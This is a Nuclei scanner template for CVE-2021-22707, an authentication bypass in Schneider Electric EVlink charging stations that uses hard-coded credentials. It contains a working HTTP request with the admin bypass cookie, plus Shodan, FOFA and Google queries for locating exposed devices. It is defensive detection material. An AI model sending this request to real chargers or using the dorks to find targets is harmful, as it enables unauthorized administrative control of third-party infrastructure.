EVlink City < R8 V3.4.0.1 - Authentication Bypass

id: CVE-2021-22707

info:
  name: EVlink City < R8 V3.4.0.1 - Authentication Bypass
  author: ritikchaddha,dorkerdevil
  severity: critical
  description: |
    A CWE-798: Use of Hard-coded Credentials vulnerability exists in EVlink City (EVC1S22P4 / EVC1S7P4 all versions prior to R8 V3.4.0.1), EVlink Parking (EVW2 / EVF2 / EV.2 all versions prior to R8 V3.4.0.1), and EVlink Smart Wallbox (EVB1A all versions prior to R8 V3.4.0.1 ) that could allow an attacker to issue unauthorized commands to the charging station web server with administrative privileges.
  remediation: |
    Upgrade to EVlink City R8 V3.4.0.1 or later to fix the authentication bypass vulnerability.
  reference:
    - https://codeberg.org/AmenoCat/CVE-2021-22707-PoC/raw/branch/main/exploit.sh
    - https://nvd.nist.gov/vuln/detail/CVE-2021-22707
    - http://download.schneider-electric.com/files?p_Doc_Ref=SEVD-2021-194-06
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2021-22707
    cwe-id: CWE-798
    epss-score: 0.39995
    epss-percentile: 0.97263
    cpe: cpe:2.3:o:schneider-electric:evlink_city_evc1s22p4_firmware:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: schneider-electric
    product: evlink_city_evc1s22p4_firmware
    shodan-query: title:"EVSE web interface"
    fofa-query: title="EVSE web interface"
    google-query: intitle:"evse web interface"
  tags: cve2021,cve,evlink,auth-bypass,schneider-electric

http:
  - raw:
      - |
        GET /cgi-bin/cgiServer?worker=IndexNew HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded; charset=UTF-8
        Cookie: CURLTOKEN=b35fcdc1ea1221e6dd126e172a0131c5a; SESSIONID=admin

    host-redirects: true
    max-redirects: 2

    matchers-condition: and
    matchers:
      - type: word
        words:
          - '?worker=Cluster" name="cluster" id="id_cluster'

      - type: status
        status:
          - 200
# digest: 490a0046304402201dd62e40407144bfef7ec5c935ad7d0dbf6f7da3ab40ea8b5defb014c9292100022052c5c81fa72fdb0e69598dda215e657d24019497cffebb3dbad0988db0588af5:922c64590222798bb761d5b6d8e72950